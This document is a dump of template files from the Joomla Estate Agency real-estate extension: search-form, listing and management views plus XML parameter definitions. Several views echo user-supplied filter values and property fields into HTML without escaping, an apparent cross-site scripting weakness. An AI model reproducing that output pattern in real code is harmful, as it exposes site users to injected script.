<option value="1">JSHOW</option>
</field>
<field name="searchform_show_towns" type="list"
label="COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_areas" type="list"
label="COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_zip_codes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_ZIP_CODES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_budget" type="list"
label="COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_living_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_land_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_rooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_bedrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_bathrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BATHROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_floor" type="list"
label="COM_JEA_FIELD_SEARCHFORM_FLOOR_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_hotwatertypes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_HOT_WATER_TYPES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_heatingtypes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_HEATING_TYPES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_conditions"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_CONDITION_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_orientation"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_ORIENTATION_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_amenities"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
</fields>
</metadata>
properties/tmpl/search.php000064400000026744151165631240011713
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperties
*/
JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$useAjax = $this->params->get('searchform_use_ajax', 0);
$transactionType =
$this->params->get('searchform_transaction_type');
$showLocalization =
$this->params->get('searchform_show_departments') ||
$this->params->get('searchform_show_towns') ||
$this->params->get('searchform_show_areas') ||
$this->params->get('searchform_show_zip_codes');
$showOtherFilters =
$this->params->get('searchform_show_number_of_rooms') ||
$this->params->get('searchform_show_number_of_bedrooms')
||
$this->params->get('searchform_show_number_of_bathrooms')
||
$this->params->get('searchform_show_floor') ||
$this->params->get('searchform_show_hotwatertypes') ||
$this->params->get('searchform_show_heatingtypes') ||
$this->params->get('searchform_show_conditions') ||
$this->params->get('searchform_show_orientation');
$states = array();
$filters = $this->get('Filters');
foreach ($filters as $name => $defaultValue)
{
$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}
$states['filter_transaction_type'] = $transactionType;
$fields = json_encode($states);
$ajax = $useAjax ? 'true' : 'false';
// Include jQuery
JHtml::_('jquery.framework');
JHTML::script('com_jea/jquery-search.js',
array('relative' => true));
$script = <<<JS
jQuery(function($) {
var jeaSearch = new JEASearch('#jea-search-form',
{fields:$fields, useAJAX:$ajax,
transactionType:'$transactionType'});
jeaSearch.refresh();
});
JS;
$this->document->addScriptDeclaration($script);
?>
<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=properties.search')
?>" method="post" id="jea-search-form">
<?php if
($this->params->get('searchform_show_freesearch')): ?>
<p>
<label for="jea-search"><?php echo
JText::_('COM_JEA_SEARCH_LABEL')?> : </label>
<input type="text" name="filter_search"
id="jea-search" value="<?php echo
$states['filter_search'] ?>" />
<input type="submit" class="button"
value="<?php echo
JText::_('JSEARCH_FILTER_SUBMIT')?>" />
</p>
<hr />
<?php endif ?>
<?php if ($useAjax): ?>
<div class="jea-counter">
<span class="jea-counter-result">0</span> <?php
echo JText::_('COM_JEA_FOUND_PROPERTIES')?>
</div>
<?php endif ?>
<p>
<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id') ?>
<?php if ($transactionType == 'RENTING'): ?>
<input type="hidden"
name="filter_transaction_type" value="RENTING" />
<?php elseif($transactionType == 'SELLING'): ?>
<input type="hidden"
name="filter_transaction_type" value="SELLING" />
<?php else: ?>
<input type="radio" name="filter_transaction_type"
id="jea-search-selling" value="SELLING"
<?php if ($states['filter_transaction_type'] ==
'SELLING') echo 'checked="checked"' ?>
/>
<label for="jea-search-selling"><?php echo
JText::_('COM_JEA_OPTION_SELLING') ?></label>
<input type="radio" name="filter_transaction_type"
id="jea-search-renting" value="RENTING"
<?php if ($states['filter_transaction_type'] ==
'RENTING') echo 'checked="checked"' ?>
/>
<label for="jea-search-renting"><?php echo
JText::_('COM_JEA_OPTION_RENTING') ?></label>
<?php endif ?>
</p>
<?php if ($showLocalization): ?>
<h2><?php echo JText::_('COM_JEA_LOCALIZATION') ?>
:</h2>
<p>
<?php if
($this->params->get('searchform_show_departments', 1)):
?>
<?php echo JHtml::_('features.departments',
$states['filter_department_id'], 'filter_department_id'
) ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_towns',
1)): ?>
<?php echo JHtml::_('features.towns',
$states['filter_town_id'], 'filter_town_id' ) ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_areas',
1)): ?>
<?php echo JHtml::_('features.areas',
$states['filter_area_id'], 'filter_area_id' ) ?>
<?php endif ?>
</p>
<?php if
($this->params->get('searchform_show_zip_codes', 1)): ?>
<p>
<label for="jea-search-zip-codes"><?php echo
JText::_('COM_JEA_SEARCH_ZIP_CODES') ?> : </label>
<input id="jea-search-zip-codes" type="text"
name="filter_zip_codes" size="20" value="<?php
echo $states['filter_zip_codes'] ?>" />
<em><?php echo
JText::_('COM_JEA_SEARCH_ZIP_CODES_DESC') ?></em>
</p>
<?php endif ?>
<?php endif ?>
<?php if ($this->params->get('searchform_show_budget',
1)): ?>
<h2><?php echo JText::_('COM_JEA_BUDGET') ?>
:</h2>
<dl class="col-left">
<dt>
<label for="jea-search-budget-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
</dt>
<dd>
<input id="jea-search-budget-min" type="text"
name="filter_budget_min" size="5" value="<?php
echo $states['filter_budget_min'] ?>" />
<?php echo $this->params->get('currency_symbol',
'€') ?>
</dd>
</dl>
<dl class="col-right">
<dt>
<label for="jea-search-budget-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
</dt>
<dd>
<input id="jea-search-budget-max" type="text"
name="filter_budget_max" size="5" value="<?php
echo $states['filter_budget_max'] ?>" />
<?php echo $this->params->get('currency_symbol',
'€') ?>
</dd>
</dl>
<?php endif ?>
<?php if
($this->params->get('searchform_show_living_space', 1)):
?>
<h2><?php echo
JText::_('COM_JEA_FIELD_LIVING_SPACE_LABEL') ?> :</h2>
<dl class="col-left">
<dt>
<label for="jea-search-living-space-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
</dt>
<dd>
<input id="jea-search-living-space-min"
type="text" name="filter_living_space_min"
size="5"
value="<?php echo $states['filter_living_space_min']
?>" />
<?php echo $this->params->get( 'surface_measure' )
?>
</dd>
</dl>
<dl class="col-right">
<dt>
<label for="jea-search-living-space-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
</dt>
<dd>
<input id="jea-search-living-space-max"
type="text" name="filter_living_space_max"
size="5"
value="<?php echo $states['filter_living_space_max']
?>" />
<?php echo $this->params->get( 'surface_measure' )
?>
</dd>
</dl>
<?php endif ?>
<?php if
($this->params->get('searchform_show_land_space', 1)):
?>
<h2><?php echo
JText::_('COM_JEA_FIELD_LAND_SPACE_LABEL') ?> :</h2>
<dl class="col-left">
<dt>
<label for="jea-search-land-space-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
</dt>
<dd>
<input id="jea-search-land-space-min" type="text"
name="filter_land_space_min" size="5"
value="<?php echo $states['filter_land_space_min']
?>" />
<?php echo $this->params->get( 'surface_measure' )
?>
</dd>
</dl>
<dl class="col-right">
<dt>
<label for="jea-search-land-space-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
</dt>
<dd>
<input id="jea-search-land-space-max" type="text"
name="filter_land_space_max" size="5"
value="<?php echo $states['filter_land_space_max']
?>" />
<?php echo $this->params->get( 'surface_measure' )
?>
</dd>
</dl>
<?php endif ?>
<?php if ($showOtherFilters): ?>
<h2><?php echo JText::_('COM_JEA_SEARCH_OTHER') ?>
:</h2>
<ul class="jea-search-other">
<?php if
($this->params->get('searchform_show_number_of_rooms', 1)):
?>
<li>
<label for="jea-search-rooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?> : </label>
<input id="jea-search-rooms" type="text"
name="filter_rooms_min" size="2" value="<?php
echo $states['filter_rooms_min'] ?>" />
</li>
<?php endif?>
<?php if
($this->params->get('searchform_show_number_of_bedrooms',
1)): ?>
<li>
<label for="jea-search-bedrooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_BEDROOMS_MIN') ?> : </label>
<input id="jea-search-bedrooms" type="text"
name="filter_bedrooms_min" size="2"
value="<?php echo $states['filter_bedrooms_min']
?>" />
</li>
<?php endif?>
<?php if
($this->params->get('searchform_show_number_of_bathrooms',
0)): ?>
<li>
<label for="jea-search-bathrooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_BATHROOMS_MIN') ?> :
</label>
<input id="jea-search-bathrooms" type="text"
name="filter_bathrooms_min" size="2"
value="<?php echo $states['filter_bathrooms_min']
?>" />
</li>
<?php endif?>
<?php if ($this->params->get('searchform_show_floor',
1)): ?>
<li>
<label for="jea-search-floor"><?php echo
JText::_('COM_JEA_FIELD_FLOOR_LABEL') ?> : </label>
<input id="jea-search-floor" type="text"
name="filter_floor" size="2" value="<?php echo
$states['filter_floor'] ?>" />
<em><?php echo JText::_('COM_JEA_SEARCH_FLOOR_DESC')
?></em>
</li>
<?php endif?>
<?php if
($this->params->get('searchform_show_hotwatertypes', 0)):
?>
<li><?php echo JHtml::_('features.hotwatertypes',
$states['filter_hotwatertype'], 'filter_hotwatertype' )
?></li>
<?php endif?>
<?php if
($this->params->get('searchform_show_heatingtypes', 0)):
?>
<li><?php echo JHtml::_('features.heatingtypes',
$states['filter_heatingtype'], 'filter_heatingtype' )
?></li>
<?php endif?>
<?php if
($this->params->get('searchform_show_conditions', 0)):
?>
<li><?php echo JHtml::_('features.conditions',
$states['filter_condition'], 'filter_condition' )
?></li>
<?php endif?>
<?php if
($this->params->get('searchform_show_orientation', 1)):
?>
<li>
<?php
$options = array(
JHTML::_('select.option', '0', ' - ' .
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') . ' - '),
JHTML::_('select.option', 'N',
JText::_('COM_JEA_OPTION_NORTH')),
JHTML::_('select.option', 'NW',
JText::_('COM_JEA_OPTION_NORTH_WEST')),
JHTML::_('select.option', 'NE',
JText::_('COM_JEA_OPTION_NORTH_EAST')),
JHTML::_('select.option', 'NS',
JText::_('COM_JEA_OPTION_NORTH_SOUTH')),
JHTML::_('select.option', 'E',
JText::_('COM_JEA_OPTION_EAST')),
JHTML::_('select.option', 'EW',
JText::_('COM_JEA_OPTION_EAST_WEST')),
JHTML::_('select.option', 'W',
JText::_('COM_JEA_OPTION_WEST')),
JHTML::_('select.option', 'S',
JText::_('COM_JEA_OPTION_SOUTH')),
JHTML::_('select.option', 'SW',
JText::_('COM_JEA_OPTION_SOUTH_WEST')),
JHTML::_('select.option', 'SE',
JText::_('COM_JEA_OPTION_SOUTH_EAST'))
);
echo JHTML::_('select.genericlist', $options,
'filter_orientation', 'size="1"',
'value', 'text',
$states['filter_orientation'])
?>
</li>
<?php endif?>
</ul>
<?php endif ?>
<?php if
($this->params->get('searchform_show_amenities', 1)): ?>
<h2><?php echo JText::_('COM_JEA_AMENITIES') ?>
:</h2>
<div class="amenities">
<?php echo JHtml::_('amenities.checkboxes',
$states['filter_amenities'], 'filter_amenities' ) ?>
<?php // In order to prevent nul post for this field ?>
<input type="hidden" name="filter_amenities[]"
value="0" />
</div>
<?php endif ?>
<?php if ($useAjax): ?>
<div class="jea-counter">
<span class="jea-counter-result">0</span> <?php
echo JText::_('COM_JEA_FOUND_PROPERTIES')?>
</div>
<?php endif ?>
<p>
<input type="reset" class="button"
value="<?php echo JText::_('JSEARCH_FILTER_CLEAR')
?>" />
<input type="submit" class="button"
value="<?php echo $useAjax ?
JText::_('COM_JEA_LIST_PROPERTIES') :
JText::_('JSEARCH_FILTER_SUBMIT')?>" />
</p>
</form>
properties/tmpl/manage.xml000064400000000317151165631240011673
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC]]>
</message>
</layout>
</metadata>properties/tmpl/default.php000064400000012334151165631240012060
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperties
*/
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$script = <<<EOB
function changeOrdering( order, direction )
{
var form = document.getElementById('jForm');
form.filter_order.value = order;
form.filter_order_Dir.value = direction;
form.submit();
}
EOB;
$this->document->addScriptDeclaration($script);
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));
?>
<div class="jea-properties<?php echo
$this->escape($this->params->get('pageclass_sfx'))
?>">
<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>
<?php if ($this->state->get('searchcontext') === true):
?>
<div class="search_parameters">
<h2><?php echo
JText::_('COM_JEA_SEARCH_PARAMETERS_TITLE') ?> :</h2>
<?php echo $this->loadTemplate('remind') ?>
</div>
<?php endif ?>
<?php if (!empty($this->items)): ?>
<form action="<?php echo
htmlspecialchars(JFactory::getURI()->toString()) ?>"
id="jForm" method="post">
<p class="sort-options">
<?php echo implode(' | ', $this->sort_links) ?>
</p>
<p class="limitbox">
<em><?php echo JText::_('COM_JEA_RESULTS_PER_PAGE')
?> : </em>
<?php echo $this->pagination->getLimitBox() ?>
</p>
<div class="jea-items">
<?php foreach ($this->items as $row): ?>
<?php $row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id ?>
<dl class="jea_item">
<dt class="title">
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=property&id='.
$row->slug) ?>"
title="<?php echo JText::_('COM_JEA_DETAIL')
?>"><strong>
<?php if(empty($row->title)): ?>
<?php echo ucfirst(
JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$this->escape($row->type), $this->escape($row->town) ) ) ?>
<?php else : echo $this->escape($row->title) ?>
<?php endif ?></strong> ( <?php echo
JText::_('COM_JEA_REF' ) . ' : ' . $row->ref ?>)
</a>
<?php if ( $this->params->get('show_creation_date',
0)): ?>
<span class="date"><?php echo
JHtml::_('date', $row->created,
JText::_('DATE_FORMAT_LC3')) ?></span>
<?php endif ?>
</dt>
<?php if ($imgUrl = $this->getFirstImageUrl($row)): ?>
<dt class="image">
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=property&id='.
$row->slug) ?>"
title="<?php echo JText::_('COM_JEA_DETAIL')
?>">
<img src="<?php echo $imgUrl ?>"
alt="<?php echo JText::_('COM_JEA_DETAIL') ?>"
/>
</a>
</dt>
<?php endif ?>
<dd>
<?php if ($row->slogan): ?>
<span class="slogan"><?php echo
$this->escape($row->slogan) ?> </span>
<?php endif ?>
<?php echo $row->transaction_type == 'RENTING' ?
JText::_('COM_JEA_FIELD_PRICE_RENT_LABEL') :
JText::_('COM_JEA_FIELD_PRICE_LABEL') ?> :
<strong> <?php echo JHtml::_('utility.formatPrice',
(float) $row->price , JText::_('COM_JEA_CONSULT_US') ) ?>
</strong>
<?php if ($row->transaction_type == 'RENTING'
&& (float)$row->price != 0.0) echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'. $row->rate_frequency)
?>
<?php if (!empty($row->living_space)): ?>
<br /><?php echo
JText::_('COM_JEA_FIELD_LIVING_SPACE_LABEL') ?> :
<strong><?php echo
JHtml::_('utility.formatSurface', (float) $row->living_space ,
'-' ) ?></strong>
<?php endif ?>
<?php if (!empty($row->land_space)): ?>
<br /><?php echo
JText::_('COM_JEA_FIELD_LAND_SPACE_LABEL') ?> :
<strong><?php echo
JHtml::_('utility.formatSurface', (float) $row->land_space ,
'-' ) ?></strong>
<?php endif ?>
<?php if (!empty($row->amenities)) : ?>
<br /> <strong><?php echo
JText::_('COM_JEA_AMENITIES') ?> :</strong>
<?php echo JHtml::_('amenities.bindList',
$row->amenities) ?>
<?php endif ?>
<br />
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=property&id='.
$row->slug) ?>"
title="<?php echo JText::_('COM_JEA_DETAIL')
?>">
<?php echo JText::_('COM_JEA_DETAIL') ?></a>
</dd>
</dl>
<?php endforeach ?>
</div>
<div>
<input type="hidden" id="filter_order"
name="filter_order" value="<?php echo $listOrder
?>" />
<input type="hidden" id="filter_order_Dir"
name="filter_order_Dir" value="<?php echo $listDirection
?>" />
</div>
<div class="pagination">
<p class="counter"><?php echo
$this->pagination->getPagesCounter() ?></p>
<?php echo $this->pagination->getPagesLinks() ?>
</div>
</form>
<?php elseif ($this->state->get('searchcontext') ===
true) : ?>
<hr />
<h2><?php echo
JText::_('COM_JEA_SEARCH_NO_MATCH_FOUND') ?></h2>
<p>
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=properties&layout=search')
?>">
<?php echo JText::_('COM_JEA_MODIFY_SEARCH')?>
</a>
</p>
<?php endif ?>
</div>
properties/tmpl/searchmap.xml000064400000006606151165631240012415
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC]]>
</message>
</layout>
<fields name="params">
<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
<field name="searchform_default_map_area"
type="text" default=""
label="COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_DESC"
size="20" />
<field name="searchform_map_width" type="text"
default=""
label="COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_DESC"
size="5" />
<field name="searchform_map_height" type="text"
default=""
label="COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_DESC"
size="5" />
<field name="searchform_transaction_type"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC">
<option value="">JALL</option>
<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
</field>
<field name="searchform_show_departments"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_towns" type="list"
label="COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_areas" type="list"
label="COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_budget" type="list"
label="COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_living_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_land_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_rooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_bedrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_amenities"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
</fields>
</metadata>
properties/tmpl/manage.php000064400000015604151165631240011667
0ustar00<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die();
/**
*
* @var $this JeaViewProperties
*/
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));
$user = JFactory::getUser();
$canDelete = $user->authorise('core.delete',
'com_jea');
$transactionType =
$this->state->get('filter.transaction_type');
$script = <<<EOB
function changeOrdering( order, direction )
{
var form = document.getElementById('adminForm');
form.filter_order.value = order;
form.filter_order_Dir.value = direction;
form.submit();
}
EOB;
$this->document->addScriptDeclaration($script);
?>
<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>
<?php if ($user->authorise('core.create',
'com_jea')): ?>
<p class="jea_add_new">
<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=property.add')
?>"><?php echo JText::_('COM_JEA_ADD_NEW_PROPERTY'
)?></a>
</p>
<?php endif ?>
<form name="adminForm" id="adminForm"
action="<?php echo JRoute::_('') ?>"
method="post">
<?php if (!empty($this->items)): ?>
<p class="limitbox">
<em><?php echo JText::_('COM_JEA_RESULTS_PER_PAGE')
?> : </em> <?php echo $this->pagination->getLimitBox()
?>
</p>
<?php endif ?>
<p>
<select name="filter_transaction_type"
class="inputbox" onchange="this.form.submit()">
<option value=""> - <?php echo
JText::_('COM_JEA_FIELD_TRANSACTION_TYPE_LABEL')?> -
</option>
<option value="RENTING" <?php if ($transactionType ==
'RENTING') echo '
selected="selected"'?>>
<?php echo JText::_('COM_JEA_OPTION_RENTING')?>
</option>
<option value="SELLING"
<?php if ($transactionType == 'SELLING') echo '
selected="selected"'?>>
<?php echo JText::_('COM_JEA_OPTION_SELLING')?>
</option>
<?php // TODO: call plugin entry to add more transaction types ?>
</select>
<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id',
'onchange="document.adminForm.submit();"' ) ?>
<select name="filter_language" class="inputbox"
onchange="this.form.submit()">
<option value=""><?php echo
JText::_('JOPTION_SELECT_LANGUAGE');?></option>
<?php echo JHtml::_('select.options',
JHtml::_('contentlanguage.existing', true, true),
'value', 'text',
$this->state->get('filter.language'));?>
</select>
</p>
<?php if (!empty($this->items)): ?>
<table class="jea_listing">
<thead>
<tr>
<th><?php echo $this->sort('COM_JEA_REF',
'p.ref', $listDirection , $listOrder) ?></th>
<th><?php echo
$this->sort('COM_JEA_FIELD_PROPERTY_TYPE_LABEL',
'type', $listDirection , $listOrder) ?></th>
<th><?php echo
JText::_('COM_JEA_FIELD_ADDRESS_LABEL' )?></th>
<th><?php echo
$this->sort('COM_JEA_FIELD_TOWN_LABEL', 'town',
$listDirection , $listOrder) ?></th>
<th class="right"><?php echo
$this->sort('COM_JEA_FIELD_LIVING_SPACE_LABEL',
'living_space', $listDirection , $listOrder) ?></th>
<th class="right"><?php echo
$this->sort('COM_JEA_FIELD_PRICE_LABEL', 'p.price',
$listDirection , $listOrder) ?></th>
<th class="center"><?php echo
JText::_('JSTATUS' )?></th>
<?php if ($canDelete): ?>
<th class="center"><?php echo
JText::_('JACTION_DELETE' )?></th>
<?php endif ?>
</tr>
</thead>
<tbody>
<?php foreach ($this->items as $i => $row): ?>
<?php
$row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id;
$canCheckin = $user->authorise('core.manage',
'com_checkin') || $row->checked_out == $user->id ||
$row->checked_out == 0;
$canChange = $user->authorise('core.edit.state',
'com_jea.property.' . $row->id) && $canCheckin;
$canDelete = $user->authorise('core.delete',
'com_jea.property.' . $row->id);
?>
<tr class="row<?php echo $i % 2 ?>">
<td class="nowrap">
<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.edit&id='.$row->id
) ?>" title="<?php echo JText::_('JACTION_EDIT')
?>">
<?php echo $row->ref ?>
</a>
</td>
<td><?php echo $row->type ?></td>
<td><?php echo $row->address ?></td>
<td><?php echo $row->town ?></td>
<td class="right nowrap"><?php echo
JHtml::_('utility.formatSurface', (float) $row->living_space ,
'-' ) ?></td>
<td class="right nowrap">
<?php echo JHtml::_('utility.formatPrice', (float)
$row->price, '-') ?>
<?php if ($row->transaction_type == 'RENTING'
&& (float)$row->price != 0.0) echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'. $row->rate_frequency)
?>
</td>
<td class="center">
<?php if ($canChange): $task = $row->published ?
'unpublish' : 'publish'; ?>
<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.'.$task.'&id='.$row->id
) ?>">
<?php endif ?>
<?php if ($row->published): $title = $canChange ?
'JLIB_HTML_UNPUBLISH_ITEM' : 'COM_JEA_PUBLISHED' ?>
<img src="<?php echo
$this->baseurl.'/media/com_jea/images/published.png'
?>"
alt="<?php echo JText::_('COM_JEA_PUBLISHED')
?>"
title="<?php echo JText::_($title) ?>" />
<?php else: $title = $canChange ?
'JLIB_HTML_PUBLISH_ITEM' : 'COM_JEA_UNPUBLISHED' ?>
<img
src="<?php echo
$this->baseurl.'/media/com_jea/images/unpublished.png'
?>"
alt="<?php echo JText::_('COM_JEA_UNPUBLISHED')
?>"
